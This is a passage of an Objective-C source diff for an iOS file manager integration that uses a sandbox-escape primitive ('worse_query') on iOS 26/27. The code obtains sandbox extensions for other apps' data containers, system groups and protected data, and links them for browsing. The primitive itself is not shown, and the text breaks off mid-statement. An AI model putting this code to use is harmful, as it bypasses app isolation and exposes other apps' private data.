+FOUNDATION_EXPORT NSString *WQVirtualRootFolder(void); + +/// App records built from accessible data containers and their +/// .com.apple.mobile_container_manager.metadata.plist files. +/// Keys: bundleID, dataPath, name, version, bundlePath (optional), +/// iconPath (optional). +FOUNDATION_EXPORT NSArray *WQInstalledApplications(void); + +FOUNDATION_EXPORT NSString *_Nullable WQBundlePathForIdentifier(NSString *bundleID); +FOUNDATION_EXPORT NSString *_Nullable WQDataPathForIdentifier(NSString *bundleID); +FOUNDATION_EXPORT NSString *_Nullable WQBestAppGroup(void); + +/// Minimal stand-in for LSApplicationProxy used when LaunchServices hides an +/// app but its data container is still discoverable. +@interface WQApplicationProxy : NSObject +@property (nonatomic, copy) NSString *applicationIdentifier; +@property (nonatomic, copy) NSString *bundleIdentifier; +@property (nonatomic, copy) NSString *localizedName; +@property (nonatomic, copy) NSString *bundleVersion; +@property (nonatomic, copy) NSString *shortVersionString; +@property (nonatomic, copy) NSString *applicationType; +@property (nonatomic, copy) NSString *vendorName; +@property (nonatomic, strong, nullable) NSURL *bundleURL; +@property (nonatomic, strong, nullable) NSURL *dataContainerURL; +- (instancetype)initWithAppInfo:(NSDictionary *)info; +@end + +NS_ASSUME_NONNULL_END + +/// Extra commands used by the sbx_* terminal helpers. +FOUNDATION_EXPORT BOOL WQGrantExtraPath(NSString * _Nonnull path, BOOL createIfMissing); +FOUNDATION_EXPORT void WQReleaseGrantHandle(NSNumber * _Nonnull handle); +FOUNDATION_EXPORT void WQReleaseAllGrants(void); +FOUNDATION_EXPORT void WQRefreshDiscovery(void); +FOUNDATION_EXPORT NSArray * _Nonnull WQChildrenForRoot(NSString * _Nonnull root); +FOUNDATION_EXPORT NSString *_Nullable WQIdentifyContainerPath(NSString * _Nonnull path); +FOUNDATION_EXPORT NSArray * _Nonnull WQActiveGrantHandles(void); diff --git a/WQFilzaIntegration.m b/WQFilzaIntegration.m new file mode 100644 index 0000000..e58ea54 --- /dev/null +++ b/WQFilzaIntegration.m @@ -0,0 +1,1398 @@ +// +// WQFilzaIntegration.m +// FilzaSlop +// +// worse_query (GPL-3.0) integration for iOS 26/27, including iOS 27.2. +// The primitive needs only a provisioned App Group; it does not depend on +// the MobileHouseArrest code identity or on a kernel exploit. +// + +#import "WQFilzaIntegration.h" +#import "MCMFilzaIntegration.h" +#import "worse_query.h" +#import "pathleak.h" +#import "fallback_query.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +typedef struct __SecTask *WQSecTaskRef; +extern WQSecTaskRef SecTaskCreateFromSelf(CFAllocatorRef allocator); +extern CFTypeRef SecTaskCopyValueForEntitlement(WQSecTaskRef task, + CFStringRef entitlement, + CFErrorRef *error); + +static NSString *const kWQFolderName = @"worse_query"; +static NSString *const kWQFavoritesMarker = @"WQv1"; + +static NSLock *gQueryLock; +static NSLock *gAppsLock; +static NSMutableDictionary *gGrantHandles; +static NSMutableArray *gGrantedRoots; +static NSMutableDictionary *gRootDisplayNames; +static NSString *gAppGroup; +static BOOL gStarted; +static BOOL gFavoritesInstalled; + +static NSArray *> *gAppsCache; +static NSDate *gAppsCacheDate; +static NSMutableDictionary *gBundleMap; +static NSMutableDictionary *gDataMap; +static BOOL gBundleMapAttempted; +static NSObject *gBundleMapLock; +static dispatch_queue_t gAppsQueue; +static dispatch_queue_t gFamiliesQueue; +static NSMutableDictionary *> *gPathleakCache; +static dispatch_group_t gStartupGroup; +static BOOL gStartupActive; +static NSArray *gVolumePaths; +static dispatch_once_t gVolumeOnce; +static NSMutableDictionary *gBundleInfo; + +static void WQPostStartupProgress(double progress, NSString *status); +static NSArray *WQVolumeChildren(NSString *root); +static NSString *WQContainerIdentifier(NSString *containerPath); +static void WQDiscoverPerContainerFamilies(void); +static NSArray *> *WQBuildAppList(void); +static void WQInstallFavorites(void); + +#pragma mark - Paths + +static NSString *WQCanonicalPath(NSString *path) +{ + if (![path isKindOfClass:NSString.class] || path.length == 0) return nil; + NSString *value = [path stringByStandardizingPath]; + if ([value isEqualToString:@"/var"] || [value hasPrefix:@"/var/"]) + value = [@"/private" stringByAppendingString:value]; + return value; +} + +static BOOL WQPathExists(NSString *path) +{ + struct stat st; + return path.length > 0 && lstat(path.fileSystemRepresentation, &st) == 0; +} + +static NSInteger WQOSMajor(void) +{ + return NSProcessInfo.processInfo.operatingSystemVersion.majorVersion; +} + +static BOOL WQUsesAlternateFlags(NSString *path) +{ + // worse_query needs the alternate flags for App Group containers on 26.x. + return WQOSMajor() == 26 && + [path containsString:@"/var/mobile/Containers/Shared/AppGroup"]; +} + +/// Paths documented by forcequitOS/worse_query, ordered from broadest to most +/// specific. The iOS 27 system locations are separate from the iOS 26 ones. +static NSArray *> *WQCandidateRoots(void) +{ + return @[ + @{ @"path": @"/private/var/mobile/Containers/Data/Application", + @"name": @"App Data" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/AppGroup", + @"name": @"App Groups" }, + @{ @"path": @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"name": @"Extension Data" }, + @{ @"path": @"/private/var/mobile/Containers/Data/InternalDaemon", + @"name": @"Internal Daemon Data" }, + @{ @"path": @"/private/var/containers/Data/System", + @"name": @"System Data" }, + @{ @"path": @"/private/var/containers/Shared/SystemGroup", + @"name": @"System Groups" }, + // iOS 26 and earlier system container locations. + @{ @"path": @"/private/var/mobile/Containers/Data/System", + @"name": @"System Data (legacy)" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/SystemGroup", + @"name": @"System Groups (legacy)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/VPNPlugin", + @"name": @"VPN Plugin Data" }, + @{ @"path": @"/private/var/mobile/Containers/Data/Protected", + @"name": @"Protected Data" }, + ]; +} + +#pragma mark - App Group + +static NSArray *WQEntitledAppGroups(void) +{ + NSMutableOrderedSet *groups = [NSMutableOrderedSet orderedSet]; + + WQSecTaskRef task = SecTaskCreateFromSelf(kCFAllocatorDefault); + if (task) { + CFTypeRef value = SecTaskCopyValueForEntitlement(task, + CFSTR("com.apple.security.application-groups"), NULL); + if (value) { + if (CFGetTypeID(value) == CFArrayGetTypeID()) { + for (id group in (__bridge NSArray *)value) + if ([group isKindOfClass:NSString.class] && + [(NSString *)group hasPrefix:@"group."]) + [groups addObject:group]; + } + CFRelease(value); + } + CFRelease(task); + } + + id plistGroups = [NSBundle.mainBundle objectForInfoDictionaryKey:@"WQAppGroups"]; + if ([plistGroups isKindOfClass:NSArray.class]) { + for (id group in (NSArray *)plistGroups) + if ([group isKindOfClass:NSString.class] && [group length] > 0) + [groups addObject:group]; + } + + return groups.array; +} + +NSString *WQBestAppGroup(void) +{ + static NSString *cached; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *group in WQEntitledAppGroups()) { + NSURL *container = [fm containerURLForSecurityApplicationGroupIdentifier:group]; + if (!container) continue; + NSString *library = [container.path stringByAppendingPathComponent:@"Library"]; + [fm createDirectoryAtPath:library withIntermediateDirectories:YES + attributes:nil error:nil]; + cached = group; + break; + } + NSLog(@"[WQ] entitled app groups=%@ selected=%@", + WQEntitledAppGroups(), cached ?: @"(none)"); + }); + return cached; +} + +#pragma mark - Query engine + +static int64_t WQAcquireExtension(NSString *target, BOOL createIfMissing) +{ + if (![target hasPrefix:@"/"]) return -255; + NSString *group = WQBestAppGroup(); + if (!group.length) return -1; + + [gQueryLock lock]; + int64_t handle = worse_query(target, group, + WQUsesAlternateFlags(target), createIfMissing); + if (handle < 0) { + int64_t first = handle; + handle = fallback_query(target, WQUsesAlternateFlags(target)); + if (handle < 0 && getenv("WQ_VERBOSE")) { + NSLog(@"[WQ] grant failed path=%@ worse_query=%lld fallback=%lld", + target, (long long)first, (long long)handle); + } + } + [gQueryLock unlock]; + return handle; +} + +static BOOL WQGrantPath(NSString *rawPath, NSString *displayName, BOOL publish) +{ + NSString *path = WQCanonicalPath(rawPath); + if (!path || !WQPathExists(path)) return NO; + + if (!gGrantHandles) gGrantHandles = [NSMutableDictionary dictionary]; + if (!gGrantedRoots) gGrantedRoots = [NSMutableArray array]; + if (!gRootDisplayNames) gRootDisplayNames = [NSMutableDictionary dictionary]; + + NSNumber *existing = gGrantHandles[path]; + if (existing && existing.longLongValue >= 0) { + if (publish && ![gGrantedRoots containsObject:path]) { + [gGrantedRoots addObject:path]; + gRootDisplayNames[path] = displayName ?: path.lastPathComponent; + } + return YES; + } + + int64_t handle = WQAcquireExtension(path, NO); + if (handle < 0) return NO; + + gGrantHandles[path] = @(handle); + if (publish) { + if (![gGrantedRoots containsObject:path]) [gGrantedRoots addObject:path]; + gRootDisplayNames[path] = displayName ?: path.lastPathComponent; + } + + int descriptor = open(path.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC); + int openErrno = descriptor < 0 ? errno : 0; + if (descriptor >= 0) close(descriptor); + + NSError *listError = nil; + NSArray *entries = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:path error:&listError]; + if (publish) { + NSLog(@"[WQ] granted %@ handle=%lld open=%d errno=%d entries=%lu listErr=%@", + path, (long long)handle, descriptor >= 0, openErrno, + (unsigned long)entries.count, listError.localizedDescription ?: @"none"); + } + return YES; +} + +static BOOL WQGrantRoot(NSString *rawPath, NSString *displayName) +{ + return WQGrantPath(rawPath, displayName, YES); +} + +static BOOL WQGrantContainer(NSString *rawPath) +{ + return WQGrantPath(rawPath, rawPath.lastPathComponent, NO); +} + +BOOL WQIsActive(void) +{ + return gGrantHandles.count > 0; +} + +NSArray *WQAccessibleRoots(void) +{ + return gGrantedRoots ?: @[]; +} + +NSString *WQVirtualRootFolder(void) +{ + return [MCMFilzaVirtualRoot() stringByAppendingPathComponent:kWQFolderName]; +} + +BOOL WQGrantExtraPath(NSString *path, BOOL createIfMissing) +{ + if (!gQueryLock) gQueryLock = [NSLock new]; + NSString *canonical = WQCanonicalPath(path); + if (!canonical.length) return NO; + int64_t handle = WQAcquireExtension(canonical, createIfMissing); + if (handle < 0) return NO; + if (!gGrantHandles) gGrantHandles = [NSMutableDictionary dictionary]; + gGrantHandles[canonical] = @(handle); + return YES; +} + +void WQReleaseGrantHandle(NSNumber *handle) +{ + if (!handle) return; + worse_query_release(handle.longLongValue); + for (NSString *key in gGrantHandles.allKeys) + if ([gGrantHandles[key] isEqualToNumber:handle]) { + [gGrantHandles removeObjectForKey:key]; + [gGrantedRoots removeObject:key]; + } +} + +void WQReleaseAllGrants(void) +{ + for (NSNumber *handle in gGrantHandles.allValues) + worse_query_release(handle.longLongValue); + [gGrantHandles removeAllObjects]; + [gGrantedRoots removeAllObjects]; +} + +NSArray *WQActiveGrantHandles(void) +{ + return gGrantHandles.allValues ?: @[]; +} + +NSArray *WQChildrenForRoot(NSString *root) +{ + NSString *canonical = WQCanonicalPath(root); + if (!canonical.length) return @[]; + NSArray *children = WQVolumeChildren(canonical); + if (children.count) return children; + return [NSFileManager.defaultManager contentsOfDirectoryAtPath:canonical + error:nil] ?: @[]; +} + +NSString *WQIdentifyContainerPath(NSString *path) +{ + NSString *canonical = WQCanonicalPath(path); + if (!canonical.length) return nil; + return WQContainerIdentifier(canonical); +} + +void WQRefreshDiscovery(void) +{ + dispatch_async(gFamiliesQueue ?: dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + WQDiscoverPerContainerFamilies(); + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + dispatch_sync(gAppsQueue, ^{ + gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + }); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + }); +} + +#pragma mark - Virtual root / links + +static BOOL WQCreateLink(NSString *linkPath, NSString *target) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *existing = [fm destinationOfSymbolicLinkAtPath:linkPath error:nil]; + if (existing.length) { + if ([existing isEqualToString:target]) return YES; + [fm removeItemAtPath:linkPath error:nil]; + } else if ([fm fileExistsAtPath:linkPath]) { + // Do not delete a user-created real directory. + NSLog(@"[WQ] keeping existing non-link at %@", linkPath); + return NO; + } + BOOL ok = [fm createSymbolicLinkAtPath:linkPath + withDestinationPath:target error:nil]; + if (!ok) NSLog(@"[WQ] link failed %@ -> %@", linkPath, target); + return ok; +} + +static NSString *WQAppDataFolder(void) +{ + return [WQVirtualRootFolder() stringByAppendingPathComponent:@"App Data (by app)"]; +} + +static NSString *WQAppDataUUIDFolder(void) +{ + return [WQVirtualRootFolder() stringByAppendingPathComponent:@"App Data (UUID)"]; +} + +static NSArray *> *WQFavoriteEntries(void) +{ + NSMutableArray *entries = [NSMutableArray array]; + NSString *folder = WQVirtualRootFolder(); + [entries addObject:@{ @"name": @"worse_query · Accessible Roots", + @"path": folder }]; + NSString *appFolder = WQAppDataFolder(); + if ([NSFileManager.defaultManager fileExistsAtPath:appFolder]) { + [entries addObject:@{ @"name": @"worse_query · App Data (by app)", + @"path": appFolder }]; + } + NSString *uuidFolder = WQAppDataUUIDFolder(); + if ([NSFileManager.defaultManager fileExistsAtPath:uuidFolder]) { + [entries addObject:@{ @"name": @"worse_query · App Data (UUID)", + @"path": uuidFolder }]; + } + for (NSString *path in gGrantedRoots ?: @[]) { + NSString *name = gRootDisplayNames[path] ?: path.lastPathComponent; + [entries addObject:@{ + @"name": [NSString stringWithFormat:@"WQ · %@", name], + @"path": path, + }]; + } + for (NSString *name in @[@"System Groups (containers)", + @"Extension Data (containers)", + @"Internal Daemon Data (containers)"]) { + NSString *path = [folder stringByAppendingPathComponent:name]; + if ([NSFileManager.defaultManager fileExistsAtPath:path]) { + [entries addObject:@{ @"name": [NSString stringWithFormat:@"WQ · %@", name], + @"path": path }]; + } + } + return entries; +} + +static void WQInstallFavorites(void) +{ + Class prefsClass = NSClassFromString(@"TGPreferences"); + if (!prefsClass) return; + id prefs = [prefsClass respondsToSelector:NSSelectorFromString(@"sharedInstance")] + ? ((id(*)(id, SEL))objc_msgSend)(prefsClass, + NSSelectorFromString(@"sharedInstance")) : nil; + if (!prefs) return; + + NSArray *existing = [prefs respondsToSelector:NSSelectorFromString(@"favoritedLinks")] + ? ((id(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"favoritedLinks")) : nil; + NSMutableArray *mutableLinks = [existing isKindOfClass:NSMutableArray.class] + ? (NSMutableArray *)existing : nil; + NSMutableIndexSet *stale = [NSMutableIndexSet indexSet]; + NSFileManager *fm = NSFileManager.defaultManager; + if (mutableLinks) { + [mutableLinks enumerateObjectsUsingBlock:^(id item, NSUInteger idx, BOOL *stop) { + if (![item isKindOfClass:NSDictionary.class]) return; + NSString *name = item[@"name"]; + NSString *path = item[@"path"]; + BOOL isOurs = [name hasPrefix:@"WQ ·"] || [name hasPrefix:@"worse_query ·"]; + if (!isOurs) return; + if (!path.length || ![fm fileExistsAtPath:path] || + [path containsString:@"App Data (apps)"]) + [stale addIndex:idx]; + }]; + if (stale.count) { + [mutableLinks removeObjectsAtIndexes:stale]; + ((void(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"saveFavoritedLinks")); + NSLog(@"[WQ] removed %lu stale Favorites entries", + (unsigned long)stale.count); + } + } + + NSMutableSet *paths = [NSMutableSet set]; + for (id item in [existing isKindOfClass:NSArray.class] ? existing : @[]) { + if (![item isKindOfClass:NSDictionary.class]) continue; + NSString *path = item[@"path"]; + if (path.length) [paths addObject:path]; + } + + NSUInteger added = 0; + for (NSDictionary *entry in WQFavoriteEntries()) { + NSString *path = entry[@"path"]; + if (!path.length || [paths containsObject:path]) continue; + ((void(*)(id, SEL, id))objc_msgSend)(prefs, + NSSelectorFromString(@"addItemToFavoritedLinks:"), entry); + [paths addObject:path]; + added++; + } + if (added > 0) { + ((void(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"saveFavoritedLinks")); + NSLog(@"[WQ] added %lu Favorites entries (total requested=%lu)", + (unsigned long)added, + (unsigned long)WQFavoriteEntries().count); + } + gFavoritesInstalled = YES; +} + +static void WQScheduleFavorites(void) +{ + static int attempts; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1500 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + WQInstallFavorites(); + if (++attempts < 12) WQScheduleFavorites(); + }); +} + +static void WQInstallBundledTestFiles(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *folder = WQVirtualRootFolder(); + NSString *source = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"WQTestFiles"]; + NSArray *names = @[@"test.deb", @"test"]; + for (NSString *name in names) { + NSString *from = [source stringByAppendingPathComponent:name]; + NSString *to = [folder stringByAppendingPathComponent:name]; + if (![fm fileExistsAtPath:from]) continue; + NSDictionary *sourceAttributes = [fm attributesOfItemAtPath:from + error:nil]; + unsigned long long sourceSize = + [sourceAttributes[NSFileSize] unsignedLongLongValue]; + BOOL needsCopy = ![fm fileExistsAtPath:to]; + if (!needsCopy) { + NSDictionary *attributes = [fm attributesOfItemAtPath:to error:nil]; + needsCopy = [attributes[NSFileSize] unsignedLongLongValue] != sourceSize; + } + if (!needsCopy) continue; + [fm removeItemAtPath:to error:nil]; + NSError *error = nil; + if (![fm copyItemAtPath:from toPath:to error:&error]) { + NSLog(@"[WQ] test file copy failed %@: %@", name, + error.localizedDescription); + continue; + } + if ([name isEqualToString:@"test"]) + [fm setAttributes:@{ NSFilePosixPermissions: @0755 } + ofItemAtPath:to error:nil]; + NSLog(@"[WQ] installed bundled test file %@", name); + } +} + +static void WQInstallVirtualRoot(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *folder = WQVirtualRootFolder(); + [fm createDirectoryAtPath:folder withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + + // The application container family is enumerated per app so that hidden + // apps are still identified from their data containers. The other + // families get a per-container folder only when the root extension is + // refused by containermanagerd. + [fm createDirectoryAtPath:WQAppDataFolder() withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + [fm createDirectoryAtPath:WQAppDataUUIDFolder() withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + NSDictionary *perContainerFolders = @{ + @"/private/var/mobile/Containers/Data/Application": @"App Data (apps)", + @"/private/var/containers/Shared/SystemGroup": @"System Groups (containers)", + @"/private/var/mobile/Containers/Shared/SystemGroup": @"System Groups (containers)", + @"/private/var/mobile/Containers/Data/PluginKitPlugin": @"Extension Data (containers)", + @"/private/var/mobile/Containers/Data/InternalDaemon": @"Internal Daemon Data (containers)", + }; + for (NSString *root in perContainerFolders) { + if (!WQPathExists(root)) continue; + if ([gGrantedRoots containsObject:root]) continue; + [fm createDirectoryAtPath: + [folder stringByAppendingPathComponent:perContainerFolders[root]] + withIntermediateDirectories:YES attributes:nil error:nil]; + } + + NSMutableSet *usedNames = [NSMutableSet set]; + for (NSString *path in gGrantedRoots ?: @[]) { + NSString *name = gRootDisplayNames[path] ?: path.lastPathComponent; + NSString *candidate = name; + NSUInteger suffix = 2; + while ([usedNames containsObject:candidate]) + candidate = [NSString stringWithFormat:@"%@ %lu", name, + (unsigned long)suffix++]; + [usedNames addObject:candidate]; + WQCreateLink([folder stringByAppendingPathComponent:candidate], path); + } + + NSString *readme = + @"worse_query accessible roots\n" + @"===========================\n\n" + @"This folder is generated by FilzaSlop's worse_query integration.\n" + @"Each symlink points at a path family for which the app holds a\n" + @"live sandbox extension. The extension is scoped to the Filza\n" + @"process and is not a jailbreak.\n\n" + @"Supported: iOS 26.0 - 26.7.2 and iOS 27.0 - 27.2.\n" + @"Signing: a normal Apple signing identity plus one App Group is\n" + @"required. No MobileHouseArrest identity is used.\n"; + [readme writeToFile:[folder stringByAppendingPathComponent:@"README.txt"] + atomically:YES encoding:NSUTF8StringEncoding error:nil]; + WQInstallBundledTestFiles(); +} + +#pragma mark - App discovery + +static BOOL WQLooksLikeBundleIdentifier(NSString *value) +{ + if (value.length < 3 || value.length > 255) return NO; + if ([value hasPrefix:@"."] || [value hasSuffix:@"."]) return NO; + if ([value containsString:@".."] || [value containsString:@"/"]) return NO; + if (![value containsString:@"."]) return NO; + if ([value isEqualToString:@"com.apple"] || [value isEqualToString:@"com.apple."] || + [value isEqualToString:@"group"] || [value isEqualToString:@"systemgroup"]) + return NO; + NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString: + @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-_"]; + return [value rangeOfCharacterFromSet:allowed.invertedSet].location == NSNotFound; +} + +static NSString *WQInferIdentifierFromDataDirectory(NSString *containerPath) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *subdirectories = @[ + @"Library/Preferences", + @"Library/Caches", + @"Library/Saved Application State", + @"Library/Application Support", + ]; + NSMutableArray *allCandidates = [NSMutableArray array]; + for (NSString *subdirectory in subdirectories) { + NSString *directory = [containerPath stringByAppendingPathComponent:subdirectory]; + NSArray *names = [fm contentsOfDirectoryAtPath:directory error:nil]; + for (NSString *name in names ?: @[]) { + NSString *candidate = name; + if ([candidate hasSuffix:@".savedState"]) + candidate = [candidate stringByDeletingPathExtension]; + if (candidate.pathExtension.length) candidate = candidate.stringByDeletingPathExtension; + if (![candidate containsString:@"."]) continue; + if (!WQLooksLikeBundleIdentifier(candidate)) continue; + if ([candidate hasPrefix:@"com.apple.NS"] || + [candidate hasPrefix:@"com.apple.CF"] || + [candidate hasPrefix:@"com.apple.GS"] || + [candidate hasPrefix:@"com.apple.DT"] || + [candidate hasPrefix:@"com.apple.App"]) continue; + [allCandidates addObject:candidate]; + } + } + // Prefer a third-party identifier over an Apple one when both are present. + for (NSString *candidate in allCandidates) + if (![candidate hasPrefix:@"com.apple."] && ![candidate hasPrefix:@"group."]) + return candidate; + return allCandidates.firstObject; +} + +static NSString *WQContainerIdentifier(NSString *containerPath) +{ + if (!containerPath.length) return nil; + NSString *metadataPath = [containerPath + stringByAppendingPathComponent:@".com.apple.mobile_container_manager.metadata.plist"]; + NSFileManager *fm = NSFileManager.defaultManager; + NSError *readError = nil; + NSData *data = [NSData dataWithContentsOfFile:metadataPath + options:0 error:&readError]; + if (!data) { + int64_t handle = WQAcquireExtension(metadataPath, NO); + if (handle >= 0) { + data = [NSData dataWithContentsOfFile:metadataPath]; + worse_query_release(handle); + } + } + if (data) { + id plist = [NSPropertyListSerialization propertyListWithData:data + options:NSPropertyListImmutable format:NULL error:nil]; + if ([plist isKindOfClass:NSDictionary.class]) { + NSString *identifier = plist[@"MCMMetadataIdentifier"]; + if ([identifier isKindOfClass:NSString.class] && + WQLooksLikeBundleIdentifier(identifier)) { + return identifier; + } + } + } + + static int debugCount; + BOOL debug = debugCount < 3; + NSString *inferred = WQInferIdentifierFromDataDirectory(containerPath); + if (debug) { + debugCount++; + NSArray *rootEntries = [fm contentsOfDirectoryAtPath:containerPath error:nil]; + NSArray *prefs = [fm contentsOfDirectoryAtPath: + [containerPath stringByAppendingPathComponent:@"Library/Preferences"] error:nil]; + NSArray *caches = [fm contentsOfDirectoryAtPath: + [containerPath stringByAppendingPathComponent:@"Library/Caches"] error:nil]; + int descriptor = open(metadataPath.fileSystemRepresentation, O_RDONLY); + int openErrno = descriptor < 0 ? errno : 0; + if (descriptor >= 0) close(descriptor); + NSLog(@"[WQ][debug] container=%@ metadataExists=%d readErr=%@ openErrno=%d " + @"root=%@ prefs=%@ caches=%@ inferred=%@", containerPath, + [fm fileExistsAtPath:metadataPath], readError.localizedDescription ?: @"none", + openErrno, rootEntries, prefs, caches, inferred ?: @"(nil)"); + } + return inferred; +} + +static NSString *WQSafeLinkName(NSString *name) +{ + NSString *value = [name stringByReplacingOccurrencesOfString:@"/" withString:@"_"]; + value = [value stringByReplacingOccurrencesOfString:@":" withString:@"_"]; + if (value.length == 0 || [value hasPrefix:@"."]) value = [@"app-" stringByAppendingString:value]; + return value; +} + +static void WQInstallAppLinks(NSArray *> *apps) +{ + NSString *folder = WQAppDataFolder(); + NSString *uuidFolder = WQAppDataUUIDFolder(); + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + [NSFileManager.defaultManager createDirectoryAtPath:uuidFolder + withIntermediateDirectories:YES attributes:nil error:nil]; + NSUInteger linked = 0; + NSUInteger uuidLinked = 0; + for (NSDictionary *info in apps) { + NSString *path = info[@"dataPath"]; + NSString *bundleID = info[@"bundleID"]; + if (!path.length || !bundleID.length) continue; + NSString *name = info[@"name"]; + NSString *linkName = WQSafeLinkName(name.length + ? [NSString stringWithFormat:@"%@ [%@]", name, bundleID] : bundleID); + if (WQCreateLink([folder stringByAppendingPathComponent:linkName], path)) + linked++; + NSString *uuid = path.lastPathComponent; + if (uuid.length && + WQCreateLink([uuidFolder stringByAppendingPathComponent:uuid], path)) + uuidLinked++; + } + NSLog(@"[WQ] app data links byApp=%lu uuid=%lu total=%lu", (unsigned long)linked, + (unsigned long)uuidLinked, (unsigned long)apps.count); +} + +static NSString *WQFallbackDisplayName(NSString *bundleID) +{ + static NSDictionary *names; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + names = @{ + @"com.apple.mobilesafari": @"Safari", + @"com.apple.mobilenotes": @"Notes", + @"com.apple.Maps": @"Maps", + @"com.apple.mobilemail": @"Mail", + @"com.apple.MobileSMS": @"Messages", + @"com.apple.Photos": @"Photos", + @"com.apple.camera": @"Camera", + @"com.apple.Preferences": @"Settings", + @"com.apple.AppStore": @"App Store", + @"com.apple.Music": @"Music", + @"com.apple.podcasts": @"Podcasts", + @"com.apple.reminders": @"Reminders", + @"com.apple.weather": @"Weather", + @"com.apple.stocks": @"Stocks", + @"com.apple.news": @"News", + @"com.apple.Health": @"Health", + @"com.apple.Fitness": @"Fitness", + @"com.apple.Home": @"Home", + @"com.apple.tv": @"TV", + @"com.apple.shortcuts": @"Shortcuts", + @"com.apple.freeform": @"Freeform", + @"com.apple.DocumentsApp": @"Files", + @"com.apple.Passbook": @"Wallet", + @"com.apple.MobileAddressBook": @"Contacts", + @"com.apple.mobilecal": @"Calendar", + @"com.apple.VoiceMemos": @"Voice Memos", + @"com.apple.measure": @"Measure", + @"com.apple.compass": @"Compass", + @"com.apple.calculator": @"Calculator", + @"com.apple.tips": @"Tips", + @"com.apple.Translate": @"Translate", + @"com.apple.Bridge": @"Watch", + @"com.apple.PosterBoard": @"Wallpaper", + @"com.apple.springboard": @"SpringBoard", + @"com.apple.iBooks": @"Books", + @"com.apple.facetime": @"FaceTime", + @"com.apple.InCallService": @"Phone", + }; + }); + NSString *known = names[bundleID]; + if (known.length) return known; + NSString *last = [bundleID componentsSeparatedByString:@"."].lastObject; + if (last.length > 1) + return [last stringByReplacingOccurrencesOfString:@"-" withString:@" "].capitalizedString; + return bundleID; +} + +static NSArray *> * +WQAppInfoFromContainers(NSArray *containers) +{ + NSMutableArray *result = [NSMutableArray arrayWithCapacity:containers.count]; + NSMutableDictionary *dataMap = [NSMutableDictionary dictionary]; + + for (NSString *container in containers) { + NSString *containerPath = WQCanonicalPath(container); + if (!containerPath.length) continue; + NSString *bundleID = WQContainerIdentifier(containerPath); + if (!bundleID.length) continue; + + NSMutableDictionary *info = [@{ + @"bundleID": bundleID, + @"dataPath": containerPath, + @"name": bundleID, + @"version": @"1.0", + } mutableCopy]; + if (!dataMap[bundleID]) dataMap[bundleID] = containerPath; + + NSString *bundlePath = gBundleMap[bundleID]; + if (bundlePath.length) { + info[@"bundlePath"] = bundlePath; + NSDictionary *infoPlist = [NSDictionary dictionaryWithContentsOfFile: + [bundlePath stringByAppendingPathComponent:@"Info.plist"]]; + NSString *name = infoPlist[@"CFBundleDisplayName"]; + if (!name.length) name = infoPlist[@"CFBundleName"]; + if (name.length) info[@"name"] = name; + NSString *version = infoPlist[@"CFBundleShortVersionString"]; + if (!version.length) version = infoPlist[@"CFBundleVersion"]; + if (version.length) info[@"version"] = version; + } + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID) + : nil; + NSString *proxyName = [proxy respondsToSelector:NSSelectorFromString(@"localizedName")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"localizedName")) : nil; + if (proxyName.length && + (![info[@"name"] isKindOfClass:NSString.class] || + [info[@"name"] isEqualToString:bundleID])) + info[@"name"] = proxyName; + NSString *proxyVersion = [proxy respondsToSelector:NSSelectorFromString(@"bundleVersion")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"bundleVersion")) : nil; + if (proxyVersion.length && [info[@"version"] isEqualToString:@"1.0"]) + info[@"version"] = proxyVersion; + NSURL *proxyBundle = [proxy respondsToSelector:NSSelectorFromString(@"bundleURL")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"bundleURL")) : nil; + if ([proxyBundle isKindOfClass:NSURL.class] && proxyBundle.path.length && + !info[@"bundlePath"]) { + info[@"bundlePath"] = proxyBundle.path; + } + static int proxyDebugCount; + if (proxyDebugCount < 6) { + proxyDebugCount++; + NSLog(@"[WQ][proxy-debug] id=%@ proxy=%@ name=%@ bundle=%@", + bundleID, proxy ? @"yes" : @"nil", proxyName ?: @"nil", + proxyBundle.path ?: @"nil"); + } + if ([info[@"name"] isEqualToString:bundleID]) + info[@"name"] = WQFallbackDisplayName(bundleID); + [result addObject:info]; + } + + gDataMap = dataMap; + [result 